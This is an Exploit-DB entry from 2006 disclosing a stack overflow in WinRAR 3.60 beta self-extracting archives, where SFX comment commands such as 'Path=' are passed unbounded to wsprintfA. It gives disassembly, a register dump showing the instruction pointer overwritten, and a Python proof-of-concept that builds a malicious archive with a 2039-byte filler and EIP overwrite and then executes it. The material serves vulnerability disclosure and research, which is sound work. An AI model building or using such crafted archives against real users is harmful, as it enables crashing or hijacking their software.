Exploit-DB #1984
Description: WinRAR 3.60 Beta 6 - SFX Path Stack Overflow
Type: dos
Platform: windows
Date: 2006-07-05
Author: posidron

Exploit:
"""
WinRAR - Stack Overflows in SelF - eXtracting Archives
======================================================

Tested Version(s)..: WinRAR 3.60 beta 4
Author.............: posidron

An SFX (SelF-eXtracting) archive is an archive, merged with an executable
module, which is used to extract files from the archive when executed. Thus no
external program is necessary to extract the contents of an SFX archive, it is
enough to execute it. Nevertheless WinRAR can work with SFX archives as with
any other archives, so if you do not want to run a received SFX archive (for
example, because of possible viruses), you may use WinRAR to view or extract
its contents. SFX archives usually have .exe extension as any other executable
file. (Quote: WinRAR Help)

WinRAR distributive includes several SFX modules. All SFX modules have .sfx
extension and must be in the same folder as WinRAR. By default WinRAR always
uses Default.sfx module.

Following commands are supported SFX commands by WinRAR, to configure the
executable module and to provide additional informations. These commands
will be placed in the "Comments" section within the produced package.

    License=<title of the license dialog>{license text}
    Delete=<filename>
    Overwrite=[n]
    Path=<path>
    Presetup=<program /arguments>
    Savepath
    Setup=<program>
    Shortcut=<DestType>,<SrcName>,<DestFolder>, <Description>,<ShortcutName>
    Silent=[Param]
    TempMode=[question,title]
    Text={string}
    Title=<title>

A detailed explanation of each command can be obtained in the "WinRAR Help",
in chapter SFX.

Each command above, which take string sequences as arguments is vulnerable
to a plain stack overflow while passing the user controled buffer through a
wsprintfA() without bounds checking.

This command allows to add a comment to an archive. The maximum comment
length is 62000 bytes for RAR archives and 32768 bytes for ZIP archives.
(Quote: WinRAR Help)

I selected the "Path" command to do a proof of concept of this vulnerability.
(2039 fill bytes + 4 bytes to overwrite the instruction pointer)

Example:

   004039B6  push  0                                ; /lParam = NULL
=> 004039B8  push  sample.00401183                  ; |DlgProc = sample.00401183
   004039BD  lea   edx, dword ptr ss:[ebp-24]       ; |
   004039C0  push  0                                ; |hOwner = NULL
   004039C2  mov   dword ptr ds:[415D78], edx       ; |
   004039C8  lea   ecx, dword ptr ss:[ebp-3C]       ; |
   004039CB  push  sample.00414113                  ; |pTemplate = "STARTDLG"
   004039D0  push  ebx                              ; |hInst
   004039D1  mov   dword ptr ds:[415D7C], ecx       ; |
   004039D7  call  <jmp.&USER32.DialogBoxParamA>    ; \DialogBoxParamA
........
=> 00401183  push  ebp
   00401184  mov   ebp, esp
   <snip>
   004015D0  push  eax                              ; /Path
   004015D1  call  <jmp.&KERNEL32.SetCurrentDirecto>; \SetCurrentDirectoryA
   004015D6  test  eax, eax
   004015D8  jnz   short sample.00401641
   004015DA  mov   eax, 82
   004015DF  call  sample.004029B4
   004015E4  push  eax                              ; /<%s>
   004015E5  lea   edx, dword ptr ss:[ebp-2C14]     ; |
   004015EB  push  edx                              ; |<%s>
   004015EC  push  sample.00414132                  ; |Format = "\"%s\"\n%s"
   004015F1  lea   ecx, dword ptr ss:[ebp-2E14]     ; |
   004015F7  push  ecx                              ; |s
:) 004015F8  call  <jmp.&USER32.wsprintfA>          ; \wsprintfA
   <snip>

After overflowing the "path" command:

   EAX 00000000
   ECX 766EF7A0
   EDX 3F55EB94 ntdll.KiFastSystemCallRet
   EBX 41414141
   ESP 766EFFDC ASCII "BBBBBBBBBBBB"
   EBP 00000003
   ESI 7673DB1E ASCII "SavePath\r\n"
   EDI 00414064 sample.00414064
   EIP DEADBEEF

The user has to open the SFX archive directly, so that nomally the GUI installer
would popup, to trigger the vulnerability. Not by choosing the "Extract to.."
option of WinRAR in the "right click" context menu.
"""

import os, sys

winrar__ = 'C:\Programme\WinRAR\WinRAR.exe'
sfxnfo__ = "comment.txt"
result__ = "sample.exe"


buf = "Path=" + "A" * 2039 + "\xef\xbe\xad\xde" + "B" * 12 + "\r\nSavePath\r\n"

try:
    info = open(sfxnfo__, "w+b")
    info.write(buf)
    info.close()
except IOError:
    sys.exit("Error: unable to create: " + sfxnfo__)

try:
    print "Creating archive:",
    os.spawnv(os.P_WAIT, winrar__, [winrar__, "a -sfx -s " + result__ + " " + __file__])
    os.spawnv(os.P_WAIT, winrar__, [winrar__, "c -z" + sfxnfo__ + " " + result__])
    print "done."
    print "Executing:",
    # debug only!
    os.spawnv(os.P_WAIT, result__, [result__, ""])
    print "done."
    print "Cleaning up:",
    os.remove(sfxnfo__)
    print "done."
except OSError:
    print "failed!"
    sys.exit("Error: application execution failed!")

# milw0rm.com [2006-07-05]